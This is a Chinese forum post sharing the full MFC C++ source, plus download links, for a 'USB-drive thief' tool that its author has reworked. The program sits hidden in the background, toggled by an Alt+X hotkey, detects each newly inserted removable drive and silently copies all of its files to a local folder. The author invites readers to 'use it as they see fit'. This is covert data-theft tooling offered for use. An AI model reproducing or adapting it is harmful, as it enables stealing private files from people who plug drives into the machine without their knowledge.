本帖最后由 sunflover 于 2015-5-23 12:34 编辑
由于太过简单,我就不写制作过程(优化过程)了。
软件说明:
原软件名为“闪盘小偷 V1.0”,优化后名称为“U盘小偷 V1.1优化版"。可以实现自动复制U盘内的所有内容到电脑上,具体怎么应用,同学们自己发挥哈。
优化记录:
1:大部分代码重写,主要为了规范代码书写,便于阅读。
2:使用线程拷贝文件,所以界面不会卡住假死。.
3:界面优化调整,初始路径更改等。
先贴两张图对比下V1.0和V1.1:
源代码非常简单,下面直接贴出源代码,当然你也可以下载源代码使用VS2010查看(推荐);
[C++] 纯文本查看 复制代码 // FDiskThiefDlg.h : header file
#include "afxwin.h"
#if !defined(AFX_FDISKTHIEFDLG_H__C2F2D2C7_E9B5_4C6C_A9CF_554FCA8AD884__INCLUDED_)
#define AFX_FDISKTHIEFDLG_H__C2F2D2C7_E9B5_4C6C_A9CF_554FCA8AD884__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
/////////////////////////////////////////////////////////////////////////////
// CFDiskThiefDlg dialog
class CFDiskThiefDlg : public CDialog
{
// Construction
public:
BOOL IsRun;
void CopyFile(CString dir);
CString FindFdisk();
CString m_NewFdisk;
CString m_OldFdisk;
CFDiskThiefDlg(CWnd *pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CFDiskThiefDlg)
enum { IDD = IDD_FDISKTHIEF_DIALOG };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CFDiskThiefDlg)
public:
virtual BOOL DestroyWindow();
protected:
virtual void DoDataExchange(CDataExchange *pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
HICON m_hIcon;
// Generated message map functions
//{{AFX_MSG(CFDiskThiefDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnButtonOpen();
afx_msg void OnButtonHide();
afx_msg LRESULT OnHotKey(WPARAM wp, LPARAM lp);
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnButtonStart();
afx_msg void OnButtonStop();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
public:
CString m_strPath;
CButton m_BtnStart;
CButton m_BtnStop;
static UINT ThreadProCopyFile(LPVOID lpVoid);
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_FDISKTHIEFDLG_H__C2F2D2C7_E9B5_4C6C_A9CF_554FCA8AD884__INCLUDED_)
[C++] 纯文本查看 复制代码 // FDiskThiefDlg.cpp : implementation file
// Download by [url=http://www.codefans.net]http://www.codefans.net[/url]
//优化 by sunflover 2015-05-23
#include "stdafx.h"
#include "FDiskThief.h"
#include "FDiskThiefDlg.h"
#include <imagehlp.h>
#pragma comment(lib,"imagehlp.lib")
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//获取当前程序目录
CString GetAppPath()
{
TCHAR strExePath[MAX_PATH];
GetModuleFileName(NULL, strExePath, MAX_PATH); //C:\TEST\123.exe
PathRemoveFileSpec(strExePath); //#include "Shlwapi.h" //C:\TEST
CString str = strExePath;
str += "\\";
return str;
}
//拷贝文件夹
void MyCopyDirectory(CString source, CString target)
{
CreateDirectory(target, NULL); //创建目标文件夹
//AfxMessageBox("创建文件夹"+target);
CFileFind finder;
CString path;
path.Format(_T("%s/*.*"), source);
//AfxMessageBox(path);
BOOL bWorking = finder.FindFile(path);
while(bWorking)
{
bWorking = finder.FindNextFile();
//AfxMessageBox(finder.GetFileName());
if(finder.IsDirectory() && !finder.IsDots())//是文件夹 而且 名称不含 . 或 ..
{
//递归创建文件夹+"/"+finder.GetFileName()
MyCopyDirectory(finder.GetFilePath(), target + "/" + finder.GetFileName());
}
else//是文件 则直接复制
{
//AfxMessageBox("复制文件"+finder.GetFilePath());//+finder.GetFileName()
CopyFile(finder.GetFilePath(), target + "/" + finder.GetFileName(), FALSE);
}
}
}
/////////////////////////////////////////////////////////////////////////////
// CFDiskThiefDlg dialog
CFDiskThiefDlg::CFDiskThiefDlg(CWnd *pParent /*=NULL*/)
: CDialog(CFDiskThiefDlg::IDD, pParent)
, m_strPath(_T(""))
{
//{{AFX_DATA_INIT(CFDiskThiefDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_NewFdisk = _T("");
m_OldFdisk = _T("");
IsRun = FALSE;
}
void CFDiskThiefDlg::DoDataExchange(CDataExchange *pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFDiskThiefDlg)
//}}AFX_DATA_MAP
DDX_Text(pDX, IDC_EDIT_PATH, m_strPath);
DDX_Control(pDX, IDC_BUTTON_START, m_BtnStart);
DDX_Control(pDX, IDC_BUTTON_STOP, m_BtnStop);
}
BEGIN_MESSAGE_MAP(CFDiskThiefDlg, CDialog)
//{{AFX_MSG_MAP(CFDiskThiefDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON_OPEN, OnButtonOpen)
ON_BN_CLICKED(IDC_BUTTON_HIDE, OnButtonHide)
ON_MESSAGE(WM_HOTKEY, OnHotKey)
ON_WM_TIMER()
ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFDiskThiefDlg message handlers
BOOL CFDiskThiefDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
//初始化路径
m_strPath = GetAppPath() + "Copyed Files\\";
MakeSureDirectoryPathExists(m_strPath);
UpdateData(FALSE);
//注册热键
::RegisterHotKey(m_hWnd, 199, MOD_ALT, 'X');
//设置定时器
SetTimer(0, 100, NULL);
//开始监视
// OnButtonStart();
// OnButtonHide();
return TRUE; // return TRUE unless you set the focus to a control
}
void CFDiskThiefDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if(nID == SC_MINIMIZE)//如果最小化
ShowWindow(SW_HIDE); //隐藏窗口
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CFDiskThiefDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CFDiskThiefDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CFDiskThiefDlg::OnButtonOpen()
{
// TODO: Add your control notification handler code here
BROWSEINFO bi;
ZeroMemory(&bi, sizeof(BROWSEINFO)); //指定存放文件的默认文件夹路径
bi.lpszTitle = "请选择数据备份目录"; //添加提示语句
bi.ulFlags = BIF_NEWDIALOGSTYLE | BIF_EDITBOX; //添加“新建文件夹项”
LPMALLOC pMalloc;
LPITEMIDLIST pidl = SHBrowseForFolder(&bi);//以默认路径打开浏览文件夹对话框
TCHAR Path[MAX_PATH] = "";
CString strPath;
if(pidl != NULL)
{
SHGetPathFromIDList(pidl, Path); //把文件夹路径存放在Path中
strPath = Path;
strPath += "\\"; //在路径后增加斜杠
if(SUCCEEDED(SHGetMalloc(&pMalloc)))//网上说pidl指向的对象用完应该释放
{
pMalloc->Free(pidl);
pMalloc->Release();
}
}
if(!strPath.IsEmpty())
{
m_strPath = strPath;
UpdateData(FALSE);
}
MakeSureDirectoryPathExists(strPath);
}
void CFDiskThiefDlg::OnButtonHide()
{
ShowWindow(SW_HIDE);
}
LRESULT CFDiskThiefDlg::OnHotKey(WPARAM wp, LPARAM lp) //热键
{
if(wp == 199)
{
if(IsWindowVisible())
ShowWindow(SW_HIDE);
else
ShowWindow(SW_SHOW);
}
return TRUE;
}
BOOL CFDiskThiefDlg::DestroyWindow()
{
// TODO: Add your specialized code here and/or call the base class
::UnregisterHotKey(m_hWnd, 199); //释放注册的热键
return CDialog::DestroyWindow();
}
//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strDir;
for(char cc = 'C'; cc <= 'Z'; cc++)
{
strDir.Format("%c:", cc);
if(GetDriveType((LPCTSTR)strDir) == DRIVE_REMOVABLE)//移动盘
return strDir;
}
return "";
}
void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
m_NewFdisk = FindFdisk();
if(m_NewFdisk != m_OldFdisk && m_NewFdisk != "")
{
AfxBeginThread(ThreadProCopyFile, this);
}
if(m_NewFdisk != "")
m_OldFdisk = m_NewFdisk;
else
m_OldFdisk = "";
}
CDialog::OnTimer(nIDEvent);
}
void CFDiskThiefDlg::OnButtonStart()
{
// TODO: Add your control notification handler code here
IsRun = TRUE;
m_BtnStart.EnableWindow(FALSE);
m_BtnStop.EnableWindow(TRUE);
}
void CFDiskThiefDlg::OnButtonStop()
{
// TODO: Add your control notification handler code here
IsRun = FALSE;
m_BtnStart.EnableWindow(TRUE);
m_BtnStop.EnableWindow(FALSE);
}
UINT CFDiskThiefDlg::ThreadProCopyFile(LPVOID lpVoid)
{
CFDiskThiefDlg *pThis = (CFDiskThiefDlg *)lpVoid;
MakeSureDirectoryPathExists(pThis->m_strPath);
MyCopyDirectory(pThis->m_NewFdisk, pThis->m_strPath);
return 0;
}
相关文件下载地址:(包含编译好的,源代码等)
链接:http://pan.baidu.com/s/1bnbHY4R 密码:9kci
论坛备份:
U盘小偷 V1.1优化版源代码.7z
(679.11 KB, 下载次数: 167)
|